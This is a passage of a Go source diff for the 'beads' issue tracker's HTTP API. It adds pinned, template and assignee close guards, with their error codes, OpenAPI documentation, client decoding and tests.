be-035: actor != assignee must be refused without --force. - mismatched := &types.Issue{Assignee: "bob"} - if err := validateIssueClosable("bd-3", mismatched, "alice", false); err == nil { - t.Fatalf("expected actor/assignee mismatch error") - } - // --force overrides the authority check. - if err := validateIssueClosable("bd-3", mismatched, "alice", true); err != nil { - t.Fatalf("expected close to succeed with force despite mismatch, got %v", err) - } - // Same-actor close is allowed. - if err := validateIssueClosable("bd-4", &types.Issue{Assignee: "alice"}, "alice", false); err != nil { - t.Fatalf("expected matching-assignee close to succeed, got %v", err) - } - // Unassigned beads can be closed by anyone (lots of bd's flow involves - // closing beads nobody claimed). - if err := validateIssueClosable("bd-5", &types.Issue{Assignee: ""}, "alice", false); err != nil { - t.Fatalf("expected unassigned close to succeed, got %v", err) - } -} - func TestFindRepliesToAndReplies_WorksWithDoltStorage(t *testing.T) { ctx := context.Background() st := newTestStoreWithPrefix(t, filepath.Join(t.TempDir(), "test.db"), "test") diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index fab98a6f5..2cc93e90c 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -72,6 +72,7 @@ go_test( "brief_projection_test.go", "claim_next_test.go", "claim_test.go", + "close_guards_test.go", "close_test.go", "comments_test.go", "context_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index b09477c7c..1d12b9fa7 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -393,7 +393,7 @@ type ApplyCloseItem struct { // IT IS A STRING, and it must be the `revision` string a response carried, verbatim. A JSON number — or any other type — is a `400` naming this member. The token spans the FULL 64-bit range, so a number would be rounded past 2^53 by an IEEE-754-double parser and the guard would miss a row nothing else touched; a string round-trips exactly in every consumer. ExpectedVersion *string `json:"expected_version,omitempty"` - // Force Bypasses close policy — the open-children refusal and the live-blocker refusal — and nothing else. + // Force Bypasses close policy — the open-children refusal and the live-blocker refusal — and the pin and the assignee guard, and nothing else: never the template guard. // // CLOSE POLICY EVALUATES AT THIS ITEM, against the row as this request has already changed it. A LATER item that gives a closed parent an open child is NOT refused: the policy is a gate on the closing act, not an invariant the store maintains. Force *bool `json:"force,omitempty"` @@ -764,7 +764,7 @@ type BatchCloseRequest struct { // Actor Who is closing. `ClaimRequest.actor`'s rules exactly, and the value is recorded against every item. Actor string `json:"actor"` - // Force Bypass close policy — the open-children refusal and the live-blocker refusal — for EVERY item, and nothing else. It never bypasses validation and it never bypasses existence: an id that names nothing refuses whether or not this is set. It is request-wide because the flag that spells it is. + // Force Bypass close policy — the open-children refusal and the live-blocker refusal — and the pin and the assignee guard for EVERY item, and nothing else. It never bypasses the template guard or validation, and it never bypasses existence: an id that names nothing refuses whether or not this is set. It is request-wide because the flag that spells it is. Force *bool `json:"force,omitempty"` // Items The issues to close, in the order the caller asked for them. Every item appears in `outcomes` at the same index. @@ -929,7 +929,7 @@ type CloseIssueRequest struct { // IT IS A STRING, and it must be the `revision` string a response carried, verbatim. A JSON number — or any other type — is a `400` naming this member. The token spans the FULL 64-bit range, so a number would be rounded past 2^53 by an IEEE-754-double parser and the guard would miss a row nothing else touched; a string round-trips exactly in every consumer. ExpectedVersion *string `json:"expected_version,omitempty"` - // Force Bypass close policy — the open-children refusal and the live-blocker refusal — and nothing else. The refusals are the ROLE's, so this endpoint cannot skip a guard by forgetting one exists. A forced close still reports `open_children`. + // Force Bypass close policy — the open-children refusal and the live-blocker refusal — and the pin and the assignee guard, and nothing else: never the template guard (see "Close guards" on `POST /v0/beads/issues/{id}:close`). The refusals are the ROLE's, so this endpoint cannot skip a guard by forgetting one exists. A forced close still reports `open_children`. // // IT BYPASSES POLICY, NEVER A PRECONDITION. `expected_version` is still checked with it set, for the reason `issueops.CloseRequest.Force` gives: a caller saying "close it anyway" has said nothing about whether the row is still the one it read. Force *bool `json:"force,omitempty"` @@ -969,10 +969,13 @@ type CloseOutcome struct { // A BATCH WHOSE ITEMS ARE ALL `true` LANDED NOTHING, and records no history entry: a per-item success that changed nothing is not work the caller did. AlreadyClosed *bool `json:"already_closed,omitempty"` + // Assignee With `not_assignee`: the issue's assignee the refusing transaction observed, exactly as `Problem.assignee` carries it for the single close. Absent on a successful item and on every other refusal. + Assignee *string `json:"assignee,omitempty"` + // Blockers With `not_closable` on the live-blocker refusal: the blockers that refused THIS item, exactly as `Problem.blockers` carries them for the single close, and optional for the same reason. Absent on a successful item and on every other refusal. Blockers *[]Blocker `json:"blockers,omitempty"` - // Code This item's refusal, from `Problem.code`'s vocabulary and restricted to `not_found` (the id names no row in either plane) and `not_closable` (close policy refused it: open children, or a live blocker — see `open_children`). ABSENT means the item succeeded. + // Code This item's refusal, from `Problem.code`'s vocabulary and restricted to `not_found` (the id names no row in either plane), `not_closable` (close policy refused it: open children, or a live blocker — see `open_children`), and the close guards `template_read_only`, `issue_pinned` and `not_assignee` (see `assignee`), exactly as the single close answers them. ABSENT means the item succeeded. // // It is the problem vocabulary rather than a second one because an item refusal and a request refusal are the same question asked at two scopes, and a client that had to learn two vocabularies to classify one condition would be classifying the SCOPE rather than the condition. Code *string `json:"code,omitempty"` @@ -1586,7 +1589,7 @@ type Problem struct { // IT IS A STRING, and it must be the `revision` string a response carried, verbatim. A JSON number — or any other type — is a `400` naming this member. The token spans the FULL 64-bit range, so a number would be rounded past 2^53 by an IEEE-754-double parser and the guard would miss a row nothing else touched; a string round-trips exactly in every consumer. ActualVersion *string `json:"actual_version,omitempty"` - // Assignee With `already_claimed`: the actor currently holding the issue, read inside the transaction that refused. + // Assignee With `already_claimed`: the actor currently holding the issue, read inside the transaction that refused. With `not_assignee`: the issue's assignee the refusing close observed — always present on that code. // // IT IS OPTIONAL ON EVERY OPERATION BUT THE CLAIM. `POST /v0/beads/issues/{id}:claim` always carries it, because its conflict path reads the row it lost to. `PATCH /v0/beads/issues/{id}` and `POST /v0/beads/issues:batchApply` carry it only when the refusing transaction reported a holder, and `POST /v0/beads/issues/{id}:release` never does — the ownership fence refuses without naming anyone. An absent member means "this refusal could not name the holder", never "nobody holds it"; re-read the row. Assignee *string `json:"assignee,omitempty"` @@ -1607,7 +1610,7 @@ type Problem struct { // IT IS OPTIONAL. A refusal that could not name its blockers omits it and keeps the generic `detail`; absence means "this refusal did not name them", never "nothing blocks it". Re-read the issue's dependencies then. Blockers *[]Blocker `json:"blockers,omitempty"` - // Code The stable machine-readable reason, and the ONLY member a client may dispatch on. v0's vocabulary: `invalid_argument` (400, also emitted by the Host-header middleware on any route), `invalid_cursor` (400), `unauthenticated` (401, only on a server configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), `template_read_only` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), `busy` (503), `db_unavailable` (503), `events_watch_saturated` (503), `internal` (500). Renaming or removing a status+code pair is a breaking change; ADDING one is not, so clients MUST default-branch on unknown values and fall back to the status class (unknown 4xx → client bug, fail loud; unknown 503 → retry per `Retry-After`; other unknown 5xx → server fault). + // Code The stable machine-readable reason, and the ONLY member a client may dispatch on. v0's vocabulary: `invalid_argument` (400, also emitted by the Host-header middleware on any route), `invalid_cursor` (400), `unauthenticated` (401, only on a server configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), `template_read_only` (409), `issue_pinned` (409), `not_assignee` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), `busy` (503), `db_unavailable` (503), `events_watch_saturated` (503), `internal` (500). Renaming or removing a status+code pair is a breaking change; ADDING one is not, so clients MUST default-branch on unknown values and fall back to the status class (unknown 4xx → client bug, fail loud; unknown 503 → retry per `Retry-After`; other unknown 5xx → server fault). Code string `json:"code"` // DeclaredLater With `invalid_argument` on a batch operation whose items may name each other: whether the unresolvable key IS declared by the request, at a LATER index. diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 8b2e3fcba..a1cfa73f0 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -1054,9 +1054,12 @@ func (s *Server) failApplyBatch(w http.ResponseWriter, r *http.Request, request s.fail(w, r, at(closeBlockedResult(err, "an item closes a blocked issue", "clear the blocker, or send the item's force flag"), "")) - // An update item naming a template: the shared mapping plus the item + // An update item naming a template, or the close guards on a close item: + // the shared mapping, carrying the holder for not_assignee, plus the item // members. - case errors.Is(err, issueops.ErrTemplateReadOnly): + case errors.Is(err, issueops.ErrTemplateReadOnly), + errors.Is(err, issueops.ErrPinned), + errors.As(err, new(*issueops.CloseNotAssigneeError)): s.fail(w, r, at(ClassifyError(err), "")) case errors.Is(err, storage.ErrAlreadyClaimed): diff --git a/internal/httpapi/batch_close.go b/internal/httpapi/batch_close.go index 9fb4cc02b..d28bea778 100644 --- a/internal/httpapi/batch_close.go +++ b/internal/httpapi/batch_close.go @@ -118,6 +118,7 @@ func closeOutcome(outcome issueops.CloseOutcome) apigen.CloseOutcome { } var openChildren *issueops.CloseOpenChildrenError + var notAssignee *issueops.CloseNotAssigneeError var ( code Code detail string @@ -135,6 +136,16 @@ func closeOutcome(outcome issueops.CloseOutcome) apigen.CloseOutcome { code = CodeNotClosable detail, wire.Blockers = closeBlocked(outcome.Err, "this issue is blocked", "clear the blocker, or send `force`") + // The close guards answer per item exactly as the single close answers + // them — the shared mapping's code and detail — with the holder on the + // outcome's own `assignee` member. + case errors.Is(outcome.Err, issueops.ErrTemplateReadOnly), + errors.Is(outcome.Err, issueops.ErrPinned), + errors.As(outcome.Err, ¬Assignee): + res := ClassifyError(outcome.Err) + code, detail = Code(res.Problem.Code), derefString(res.Problem.Detail) + wire.Assignee = res.Problem.Assignee + case errors.Is(outcome.Err, storage.ErrNotFound): code, detail = CodeNotFound, "no issue with this id in either plane" diff --git a/internal/httpapi/close_guards_test.go b/internal/httpapi/close_guards_test.go new file mode 100644 index 000000000..fb7a0e0ef --- /dev/null +++ b/internal/httpapi/close_guards_test.go @@ -0,0 +1,163 @@ +package httpapi + +import ( + "fmt" + "net/http" + "strings" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// The close guards — template read-only, the pin, the assignee fence — are the +// ROLE's (issueops.Lifecycle.Close and the batch roles that share its body), so +// these cases drive a fake role that refuses the way the real one does and pin +// what the wire makes of it on each of the three close routes. The real role +// behind a real server is the served leg of the conformance contracts +// (internal/httpclient: TestServedLifecycleCloseEnforcesTheCloseGuards and its +// batch siblings), which also proves the client rebuilds the typed error. + +// closeGuardCases are the three refusals as a unit-of-work backend returns +// them: wrapped by the use case and the repository, so the mapping has to find +// them by type rather than by being handed the bare value. +var closeGuardCases = []struct { + name string + err error + code Code + assignee any +}{ + { + name: "template", + err: &issueops.TemplateReadOnlyError{IssueID: "bd-1"}, + code: CodeTemplateReadOnly, + }, + { + name: "pinned", + err: &issueops.PinnedError{IssueID: "bd-1"}, + code: CodeIssuePinned, + }, + { + name: "not assignee", + err: &issueops.CloseNotAssigneeError{IssueID: "bd-1", Assignee: "bob", Actor: "alice"}, + code: CodeNotAssignee, + assignee: "bob", + }, +} + +func wrapAsUOW(err error) error { + return fmt.Errorf("close bd-1: db: IssueSQLRepository.CloseChecked bd-1: %w", err) +} + +// assertNoRoleProse checks a detail is this server's own words: the role's +// sentence names the actor the caller sent and the holder, and a refusal's +// detail is not where a client reads either. +func assertNoRoleProse(t *testing.T, where string, detail any) { + t.Helper() + text, _ := detail.(string) + if text == "" { + t.Errorf("%s detail = %v, want this server's own sentence", where, detail) + } + for _, leaked := range []string{"cannot modify", "cannot close", "IssueSQLRepository"} { + if strings.Contains(text, leaked) { + t.Errorf("%s detail %q carries the role's prose (%q)", where, text, leaked) + } + } +} + +func TestCloseGuardsAreTypedConflicts(t *testing.T) { + for _, tc := range closeGuardCases { + t.Run(tc.name, func(t *testing.T) { + lifecycle := &roleLifecycle{closeErr: wrapAsUOW(tc.err)} + ts := newCloseServer(t, lifecycle) + + resp := ts.closeIssue(t, closePath, `{"actor":"alice"}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(tc.code) { + t.Errorf("code = %v, want %s", body["code"], tc.code) + } + if body["assignee"] != tc.assignee { + t.Errorf("assignee = %v, want %v", body["assignee"], tc.assignee) + } + if _, ok := body["open_children"]; ok { + t.Errorf("a close guard carries open_children, which would read as close policy") + } + assertNoRoleProse(t, "close", body["detail"]) + }) + } +} + +// TestCloseForwardsForceToTheGuards pins that the handler hands `force` to the +// role and decides nothing itself: whether a guard is waived is the role's call. +func TestCloseForwardsForceToTheGuards(t *testing.T) { + lifecycle := &roleLifecycle{closeErr: wrapAsUOW(&issueops.TemplateReadOnlyError{IssueID: "bd-1"})} + ts := newCloseServer(t, lifecycle) + + resp := ts.closeIssue(t, closePath, `{"actor":"alice","force":true}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want the role's 409 under force: %s", resp.StatusCode, readAll(t, resp)) + } + if got := lifecycle.closeRequests(); len(got) != 1 || !got[0].Force { + t.Fatalf("the role received %+v, want one request carrying Force", got) + } +} + +func TestBatchCloseItemsCarryTheCloseGuards(t *testing.T) { + outcomes := []issueops.CloseOutcome{{IssueID: "bd-0", Issue: closedIssue("bd-0"), Changed: true}} + for _, tc := range closeGuardCases { + outcomes = append(outcomes, issueops.CloseOutcome{IssueID: "bd-1", Err: wrapAsUOW(tc.err)}) + } + ts := newBatchCloseServer(t, &roleBatchCloser{result: issueops.CloseBatchResult{Outcomes: outcomes}}) + + resp := ts.batchClose(t, `{"actor":"alice","items":[{"id":"bd-0"},{"id":"bd-1"},{"id":"bd-1"},{"id":"bd-1"}]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200 carrying per-item refusals: %s", resp.StatusCode, readAll(t, resp)) + } + got := outcomesOf(t, resp) + if len(got) != 4 { + t.Fatalf("outcomes = %d, want 4", len(got)) + } + if _, refused := got[0]["code"]; refused { + t.Errorf("outcome 0 = %v, want the plain item's success", got[0]) + } + for i, tc := range closeGuardCases { + item := got[i+1] + if item["code"] != string(tc.code) { + t.Errorf("%s item code = %v, want %s", tc.name, item["code"], tc.code) + } + if item["assignee"] != tc.assignee { + t.Errorf("%s item assignee = %v, want %v", tc.name, item["assignee"], tc.assignee) + } + if _, ok := item["issue"]; ok { + t.Errorf("%s item carries an issue snapshot beside its refusal", tc.name) + } + assertNoRoleProse(t, tc.name+" item", item["detail"]) + } +} + +func TestApplyBatchCloseItemGuardsAreTypedConflicts(t *testing.T) { + for _, tc := range closeGuardCases { + t.Run(tc.name, func(t *testing.T) { + applier := &roleBatchApplier{err: itemErr(1, issueops.ItemClose, "", "bd-1", wrapAsUOW(tc.err))} + ts := newApplyBatchServer(t, applier) + + resp := ts.claim(t, batchApplyPath, `{"actor":"alice","items":[{"kind":"create","create":{"title":"one"}}]}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(tc.code) { + t.Errorf("code = %v, want %s", body["code"], tc.code) + } + if body["assignee"] != tc.assignee { + t.Errorf("assignee = %v, want %v", body["assignee"], tc.assignee) + } + if body["item_index"] != float64(1) || body["item_kind"] != "close" || body["item_issue_id"] != "bd-1" { + t.Errorf("item members = %v/%v/%v, want 1/close/bd-1", body["item_index"], body["item_kind"], body["item_issue_id"]) + } + assertNoRoleProse(t, "applyBatch", body["detail"]) + }) + } +} diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index a7694e09a..2bad156a1 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -146,6 +146,23 @@ const ( // A 409 for CodeNotClosable's reason: the body is well-formed and the // STATE of the named row refuses it. CodeTemplateReadOnly Code = "template_read_only" + // CodeIssuePinned is an unforced close of a pinned issue, by either of the + // two spellings bd pins with (the `pinned` flag or the `pinned` status). + // `force` is the bypass. It is its own code rather than a third + // `not_closable` because that code's member-presence discriminator already + // reads "no `open_children`" as a live blocker, and a pin is not one. + CodeIssuePinned Code = "issue_pinned" + // CodeNotAssignee is an unforced close by an actor who is not the issue's + // assignee (be-035): an unassigned issue is closable by anyone, an + // assigned one by its holder, compared separator-insensitively. `force` is + // the bypass. The holder the refusing transaction observed travels in the + // `assignee` member, so a client names it without reading `detail`; the + // closing actor is the one the request sent. + // + // It is minted rather than folded into CodeAlreadyClaimed, which a client + // maps to a lost CLAIM: answering it for a close would have the client + // read the operation, rather than the code, to decide what was refused. + CodeNotAssignee Code = "not_assignee" // CodeDependencyCycle covers BOTH never-makes-progress refusals a requested // edge set can earn: a scheduling cycle, and a blocking edge against the // issue's own ancestor or descendant. They are one code because they have @@ -273,6 +290,8 @@ var codeStatus = map[Code]int{ CodeNotClosable: http.StatusConflict, CodeNotesOverwrite: http.StatusConflict, CodeTemplateReadOnly: http.StatusConflict, + CodeIssuePinned: http.StatusConflict, + CodeNotAssignee: http.StatusConflict, CodeNotReleasable: http.StatusConflict, CodeDependencyCycle: http.StatusConflict, CodeDependencyExists: http.StatusConflict, @@ -823,7 +842,8 @@ var operationCodes = map[string][]Code{ // The NARROWEST write vocabulary on this surface, and the narrowness is the // contract rather than an oversight. A problem document from this operation // means the batch never ran; every refusal an ITEM can earn — not_found for - // an id naming no row, not_closable for close policy — travels in that + // an id naming no row, not_closable for close policy, template_read_only, + // issue_pinned and not_assignee for the close guards — travels in that // item's outcome inside a 200. A 404 here would say the operation went to // the wrong place, and a 409 would say the whole batch was refused, and // neither is ever true of a per-item refusal. @@ -856,14 +876,18 @@ var operationCodes = map[string][]Code{ CodeAlreadyClaimed, CodeNotReleasable, CodePreconditionFailed, CodeBusy, CodeDBUnavailable, CodeInternal, }, - // TWO 409s, and they answer different questions with `code` as the only - // discriminator a client needs. + // Several 409s, and they answer different questions with `code` as the + // only discriminator a client needs. // // not_closable is close POLICY: an unforced close refused for open children - // or for a live blocker. There is no already_claimed here — closing work - // somebody else holds is not a refusal on this surface — and the idempotent - // re-close is a 200 carrying `already_closed`, the claim's answer to the - // same question. + // or for a live blocker. The idempotent re-close is a 200 carrying + // `already_closed`, the claim's answer to the same question. + // + // template_read_only, issue_pinned and not_assignee are the CLOSE GUARDS + // the role applies before policy, in that order: a template (no bypass), a + // pin and closing work somebody else holds (both bypassed by `force`). + // There is no already_claimed: that code is a lost claim, and not_assignee + // carries the holder in `assignee` itself. // // precondition_failed is `expected_version`'s, in the 409 form for the // reason that code documents, and it is CHECKED FIRST — before policy and @@ -872,6 +896,7 @@ var operationCodes = map[string][]Code{ // members make unrelated claims. OpCloseIssue: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, CodeNotClosable, CodePreconditionFailed, + CodeTemplateReadOnly, CodeIssuePinned, CodeNotAssignee, CodeBusy, CodeDBUnavailable, CodeInternal, }, // ONE 409, and it is a PRECONDITION rather than a policy. Close has a policy @@ -978,7 +1003,7 @@ var operationCodes = map[string][]Code{ OpApplyBatch: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, CodeNotesOverwrite, CodeAlreadyExists, - CodeTemplateReadOnly, + CodeTemplateReadOnly, CodeIssuePinned, CodeNotAssignee, CodeDependencyCycle, CodeDependencyExists, CodeBusy, CodeDBUnavailable, CodeInternal, }, @@ -1525,6 +1550,7 @@ func ClassifyError(err error) Result { // `if` away from a pruned-past checkpoint arriving as a generic 500 on // whichever arm forgot it. var truncated *storage.EventsJournalTruncatedError + var notAssignee *issueops.CloseNotAssigneeError switch { case err == nil: @@ -1560,11 +1586,20 @@ func ClassifyError(err error) Result { case errors.Is(err, issueops.ErrCloseBlocked): return closeBlockedResult(err, "issue is blocked", "clear the blocker or close with force") - // The detail is this server's own words rather than the role's message, - // for the reason Problem.detail gives. + // The close guards; the first, template read-only, is every update's guard + // too. Each detail is this server's own words rather than the role's + // message, for the reason Problem.detail gives; the typed members are what + // a client reconstructs the refusal from. case errors.Is(err, issueops.ErrTemplateReadOnly): return newResult(CodeTemplateReadOnly, "this issue is a template, and templates are read-only; pour it to create work") + case errors.Is(err, issueops.ErrPinned): + return newResult(CodeIssuePinned, "this issue is pinned; close with force to override") + + case errors.As(err, ¬Assignee): + return newResult(CodeNotAssignee, + "this issue is assigned to another actor; reclaim it, or close with force").WithAssignee(notAssignee.Assignee) + case errors.Is(err, ErrBusy): res := newResult(CodeBusy, "") res.RetryAfterSeconds = retryAfterSaturation diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 6d9c5b354..f62181bf3 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -2420,8 +2420,10 @@ paths: `closed_by_session` and `close_reason` — written under first-close-wins by `{id}:close`, which a patch write would bypass. A `status` that crosses into the done category still answers to close POLICY here; it - does not acquire the close's semantics, which is why `{id}:close` - remains the operation to reach for when what you mean is "close this". + does not acquire the close's semantics, and that includes its close + guards: a patch is never refused `issue_pinned` or `not_assignee`. + That is why `{id}:close` remains the operation to reach for when what + you mean is "close this". `created_at`, `created_by` — `POST /v0/beads/issues` withholds them for @@ -3202,8 +3204,33 @@ paths: the blockers themselves travel in `blockers`). The MEMBER'S PRESENCE is the discriminator, so telling the two apart never requires reading `detail`. Both refusals are the ROLE's, so `force` - bypasses those two and nothing else — this endpoint cannot skip a guard - by forgetting one exists. + bypasses those two — this endpoint cannot skip a guard by forgetting + one exists. + + + ## Close guards + + + Before close policy, a close of an issue that is not already closed + answers to three guards, in this order. A template refuses with + `409` / `template_read_only` and has no bypass. A pinned issue (the + `pinned` flag or the `pinned` status) refuses with `409` / + `issue_pinned`. An issue assigned to someone other than `actor` + (compared separator-insensitively; an unassigned issue is closable by + anyone) refuses with `409` / `not_assignee`, carrying the holder in + `assignee`. `force` bypasses the pin and the assignee guard. They are + the guards `bd close` applies, and they are the ROLE's, so every close + operation — this one, `POST /v0/beads/issues:batchClose` and a + `close` item of `POST /v0/beads/issues:batchApply` — applies them + alike. An idempotent re-close is not guarded: it changes nothing. + + + The guards gate the close operations, not the closed state. A status + update that crosses into the done category — a `PATCH` of + `/v0/beads/issues/{id}` or an `update` item of + `POST /v0/beads/issues:batchApply` — is not a close operation and + answers to close policy only, so it still closes a pinned issue or one + another actor holds. ## The guard @@ -3297,8 +3324,13 @@ paths: bypass both. `force` does NOT bypass the guard above. - Nothing was written in either case. - x-bd-codes: [not_closable, precondition_failed] + `template_read_only`, `issue_pinned` and `not_assignee`: a close + guard refused (see "Close guards"). `not_assignee` carries the + holder in `assignee`. `force` bypasses the latter two. + + + Nothing was written in any case. + x-bd-codes: [issue_pinned, not_assignee, not_closable, precondition_failed, template_read_only] content: application/problem+json: schema: @@ -4338,9 +4370,16 @@ paths: per-item bypasses, and a forced item never earns this. - `template_read_only` is an `update` item whose target is a - template, exactly as `PATCH /v0/beads/issues/{id}` answers it; no - item member bypasses it. + `template_read_only` is an `update` or a `close` item whose target + is a template, exactly as `PATCH /v0/beads/issues/{id}` and + `POST /v0/beads/issues/{id}:close` answer it; no item member + bypasses it. + + + `issue_pinned` and `not_assignee` are the other two close guards + refusing a `close` item, exactly as + `POST /v0/beads/issues/{id}:close` answers them; `not_assignee` + carries the holder in `assignee`. `close.force` bypasses both. `already_claimed` is the assignee fence: an `update` whose @@ -4372,8 +4411,8 @@ paths: a malformed request. x-bd-codes: [already_claimed, already_exists, dependency_cycle, - dependency_exists, not_closable, notes_overwrite_refused, precondition_failed, - template_read_only] + dependency_exists, issue_pinned, not_assignee, not_closable, + notes_overwrite_refused, precondition_failed, template_read_only] content: application/problem+json: schema: @@ -4421,8 +4460,9 @@ paths: contract: a refusal OF THE REQUEST is a problem document, and a refusal OF AN ITEM is a member of that item's outcome. `code` on an outcome is the same vocabulary `Problem.code` publishes, restricted to - `not_found` and `not_closable`, so a client classifies an item exactly - as it classifies a request. + `not_found`, `not_closable` and the three close guards + (`template_read_only`, `issue_pinned`, `not_assignee`), so a client + classifies an item exactly as it classifies a request. WHAT IS ATOMIC IS EVERYTHING THAT LANDS: one transaction, at most one @@ -4466,8 +4506,9 @@ paths: NO PER-ITEM PRECONDITION. There is no counterpart here to a compare-and-set guard, matching the role, so `force` is a question with - only two answers: it bypasses blocker and open-child close policy for - every item, and it never bypasses validation or existence. + only two answers: it bypasses blocker and open-child close policy, the + pin and the assignee guard for every item, and it never bypasses the + template guard, validation or existence. ## Hooks and auto-commit @@ -10452,7 +10493,8 @@ components: default: false description: >- Bypasses close policy — the open-children refusal and the - live-blocker refusal — and nothing else. + live-blocker refusal — and the pin and the assignee guard, and + nothing else: never the template guard. CLOSE POLICY EVALUATES AT THIS ITEM, against the row as this request @@ -11065,10 +11107,11 @@ components: default: false description: >- Bypass close policy — the open-children refusal and the live-blocker - refusal — for EVERY item, and nothing else. It never bypasses - validation and it never bypasses existence: an id that names nothing - refuses whether or not this is set. It is request-wide because the - flag that spells it is. + refusal — and the pin and the assignee guard for EVERY item, and + nothing else. It never bypasses the template guard or validation, + and it never bypasses existence: an id that names nothing refuses + whether or not this is set. It is request-wide because the flag + that spells it is. BatchCloseItem: type: object @@ -11161,13 +11204,22 @@ components: refused THIS item, exactly as `Problem.blockers` carries them for the single close, and optional for the same reason. Absent on a successful item and on every other refusal. + assignee: + type: string + description: >- + With `not_assignee`: the issue's assignee the refusing transaction + observed, exactly as `Problem.assignee` carries it for the single + close. Absent on a successful item and on every other refusal. code: type: string description: >- This item's refusal, from `Problem.code`'s vocabulary and restricted - to `not_found` (the id names no row in either plane) and + to `not_found` (the id names no row in either plane), `not_closable` (close policy refused it: open children, or a live - blocker — see `open_children`). ABSENT means the item succeeded. + blocker — see `open_children`), and the close guards + `template_read_only`, `issue_pinned` and `not_assignee` (see + `assignee`), exactly as the single close answers them. ABSENT means + the item succeeded. It is the problem vocabulary rather than a second one because an @@ -11246,9 +11298,11 @@ components: default: false description: >- Bypass close policy — the open-children refusal and the - live-blocker refusal — and nothing else. The refusals are the - ROLE's, so this endpoint cannot skip a guard by forgetting one - exists. A forced close still reports `open_children`. + live-blocker refusal — and the pin and the assignee guard, and + nothing else: never the template guard (see "Close guards" on + `POST /v0/beads/issues/{id}:close`). The refusals are the ROLE's, + so this endpoint cannot skip a guard by forgetting one exists. A + forced close still reports `open_children`. IT BYPASSES POLICY, NEVER A PRECONDITION. `expected_version` is @@ -12185,7 +12239,8 @@ components: configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), - `template_read_only` (409), + `template_read_only` (409), `issue_pinned` (409), + `not_assignee` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), @@ -12245,7 +12300,9 @@ components: type: string description: >- With `already_claimed`: the actor currently holding the issue, read - inside the transaction that refused. + inside the transaction that refused. With `not_assignee`: the + issue's assignee the refusing close observed — always present on + that code. IT IS OPTIONAL ON EVERY OPERATION BUT THE CLAIM. `POST diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 89c866bab..02a66f58c 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -1220,6 +1220,12 @@ "type": "boolean", "required": false }, + { + "schema": "CloseOutcome", + "member": "assignee", + "type": "string", + "required": false + }, { "schema": "CloseOutcome", "member": "blockers", diff --git a/internal/httpclient/batchcloser.go b/internal/httpclient/batchcloser.go index a9d231e3c..d7257186a 100644 --- a/internal/httpclient/batchcloser.go +++ b/internal/httpclient/batchcloser.go @@ -239,7 +239,7 @@ func decodeBatchCloseResult(req issueops.CloseBatchRequest, resp *apigen.BatchCl } outcomes := make([]issueops.CloseOutcome, len(resp.Outcomes)) for i := range resp.Outcomes { - outcomes[i] = decodeBatchCloseOutcome(resp.Outcomes[i]) + outcomes[i] = decodeBatchCloseOutcome(req.Actor, resp.Outcomes[i]) } return issueops.CloseBatchResult{Outcomes: outcomes}, nil } @@ -252,10 +252,10 @@ func decodeBatchCloseResult(req issueops.CloseBatchRequest, resp *apigen.BatchCl // members are FLAT on the outcome rather than nested under an error object, so // `open_children` is read from the same field in both branches and means two // different things depending on which one — see the schema. -func decodeBatchCloseOutcome(item apigen.CloseOutcome) issueops.CloseOutcome { +func decodeBatchCloseOutcome(actor string, item apigen.CloseOutcome) issueops.CloseOutcome { out := issueops.CloseOutcome{IssueID: item.IssueId} if item.Code != nil { - out.Err = perItemCloseError(item.IssueId, item) + out.Err = perItemCloseError(item.IssueId, actor, item) return out } // A successful outcome carries the snapshot; already_closed is the idempotent @@ -276,6 +276,10 @@ func decodeBatchCloseOutcome(item apigen.CloseOutcome) issueops.CloseOutcome { // not_found -> issueops.ErrNotFound // not_closable + open_children -> *issueops.CloseOpenChildrenError // not_closable -> issueops.ErrCloseBlocked +// template_read_only -> *issueops.TemplateReadOnlyError +// issue_pinned -> *issueops.PinnedError +// not_assignee + assignee -> *issueops.CloseNotAssigneeError (the +// closing actor is the request's own) // an unknown code -> *wire.UnknownItemCodeError (the generic // typed per-item error, so version skew lands // as a typed refusal rather than a silent gap) @@ -285,7 +289,7 @@ func decodeBatchCloseOutcome(item apigen.CloseOutcome) issueops.CloseOutcome { // // It is only ever called with a refused outcome — Code non-nil — which the one // caller above guarantees. 